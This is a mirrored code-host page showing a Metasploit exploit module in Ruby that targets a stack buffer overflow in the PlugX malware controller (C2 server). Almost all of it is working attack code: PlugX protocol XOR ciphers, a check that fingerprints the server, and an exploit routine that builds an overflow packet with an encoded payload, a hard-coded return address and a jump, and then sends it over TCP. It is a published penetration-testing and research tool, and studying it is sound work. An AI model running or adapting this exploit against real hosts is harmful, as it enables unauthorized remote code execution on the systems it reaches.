/
githubmirror
/
metasploit-framework
Обзор
Документация
Войти
/
githubmirror
/
metasploit-framework
Код
Запросы
0
Пакеты
0
Релизы
0
Аналитика
Безопасность
master
modules/exploits/windows/misc/plugx.rb
177 строк
5 KB
adfoster-r7
Add human-readable descriptions to CheckCode returns in remaining windows exploit modules
22 апр 2026, 20:44
22 апр 2026, 20:44
2ae9364
Код
Авторство
О чём код?
## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'zlib' class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::Tcp def initialize(info = {}) super( update_info( info, 'Name' => 'PlugX Controller Stack Buffer Overflow', 'Description' => %q{ This module exploits a stack buffer overflow in the PlugX Controller (C2 server). }, 'Author' => 'Professor Plum', 'License' => MSF_LICENSE, 'References' => [ ], 'DefaultOptions' => { 'EXITFUNC' => 'thread', 'AllowWin32SEH' => true }, 'Payload' => { 'Space' => 0xe000, 'BadChars' => '', 'EncoderType' => Msf::Encoder::Type::AlphanumMixed }, 'Platform' => 'win', 'DisclosureDate' => '2017-07-27', 'Targets' => [ ['PlugX Type I (old)', { 'xor' => 0, 'callebp' => 0x004045c4 }], ['PlugX Type I', { 'xor' => 1, 'callebp' => 0x004045c4 }], ['PlugX Type II', { 'xor' => 2, 'callebp' => 0x004045c4 }] ], 'Privileged' => false, 'DefaultTarget' => 2, 'Notes' => { 'Reliability' => UNKNOWN_RELIABILITY, 'Stability' => UNKNOWN_STABILITY, 'SideEffects' => UNKNOWN_SIDE_EFFECTS } ) ) register_options( [ Opt::RPORT(13579) ] ) end def xor_stream1(key, src) key0 = key1 = key2 = key3 = key dst = '' for i in 0..(src.size - 1) key0 = (key0 + (key0 >> 3) - 0x11111111) & 0xFFFFFFFF key1 = (key1 + (key1 >> 5) - 0x22222222) & 0xFFFFFFFF key2 = (key2 + 0x44444444 - (key2 << 9)) & 0xFFFFFFFF key3 = (key3 + 0x33333333 - (key3 << 7)) & 0xFFFFFFFF new_key = (key2 + key3 + key1 + key0) & 0xFF res = src[i].ord ^ new_key dst += res.chr end dst end def xor_stream1a(key, src) key0 = key1 = key2 = key3 = key dst = '' for i in 0..(src.size - 1) key0 = (key0 + (key0 >> 3) + 3) & 0xFFFFFFFF key1 = (key1 + (key1 >> 5) + 5) & 0xFFFFFFFF key2 = (key2 - 7 - (key2 << 9)) & 0xFFFFFFFF key3 = (key3 - 9 - (key3 << 7)) & 0xFFFFFFFF new_key = (key2 + key3 + key1 + key0) & 0xFF res = src[i].ord ^ new_key dst += res.chr end dst end def xor_stream2(key, data) dst = '' for i in 0..(data.size - 1) key = (((key << 7) & 0xFFFFFFFF) - ((key >> 3) & 0xFFFFFFFF) + i + 0x713A8FC1) & 0xFFFFFFFF dst += ((key & 0xFF) ^ ((key >> 8) & 0xFF) ^ ((key >> 16) & 0xFF) ^ data[i].ord ^ ((key >> 24) & 0xFF)).chr end dst end def xor_wrap(key, data) if target['xor'] == 0 return xor_stream1a(key, data) elsif target['xor'] == 1 return xor_stream1(key, data) elsif target['xor'] == 2 return xor_stream2(key, data) end print_status('Unknown PlugX Type') end def validate_response(data) if data.nil? print_status('Server closed connection') return false end if data.empty? print_status('No response received') return false end if data.size < 16 print_status('Invalid packet') print_status(data.inspect) return false end key = data[0..4].unpack('I<')[0] hdr = xor_wrap(key, data[0..16]) _x, _flags, _cmd, comp_size, _uncomp_size, _xx = hdr.unpack('I<S<S<S<S<I<') if (comp_size + 16) == data.size raw = xor_wrap(key, data[16..-1]) print_status(raw.inspect) return true end false end def check connect key = rand(0xFFFFFFFF) hh = [key, 0, 0, 0, 0, 0].pack('I<S<S<S<S<I<') hdr = xor_wrap(key, hh) sock.put([key].pack('I<') + hdr[4..-1]) if validate_response(sock.get_once || '') return Exploit::CheckCode::Appears('PlugX C&C server detected') end Exploit::CheckCode::Safe('No valid PlugX response detected') end def decode_packet(data) key = data[0..4].unpack('I<') _x, flags, _cmd, _comp_size, _uncomp_size, _xx = xorstream2(key, data[0..16]).unpack('I<S<S<S<S<I<') buf = xor_stream(key, data[16..-1]) buf = decompress(buf) return the_flags[flags & 0xffff], xx, buf end def exploit print_status("Trying target #{target.name}...") l = 0xF008 pad = 0x18 a = 0x004045c4 pktlen = l + pad + 9 jmp = "\xe9" + [-pktlen].pack('I<') key = rand(0xFFFFFFFF) hh = [key, 0, 0, pktlen, pktlen, 0].pack('I<S<S<S<S<I<') hdr = xor_wrap(key, hh) pkt = [key].pack('I<') + hdr[4..-1] + payload.encoded + 'A' * (l - payload.encoded.size) + [a].pack('I<') + 'x' * pad + jmp connect sock.put(pkt) print_status('Waiting for response') validate_response(sock.get_once) disconnect handler end end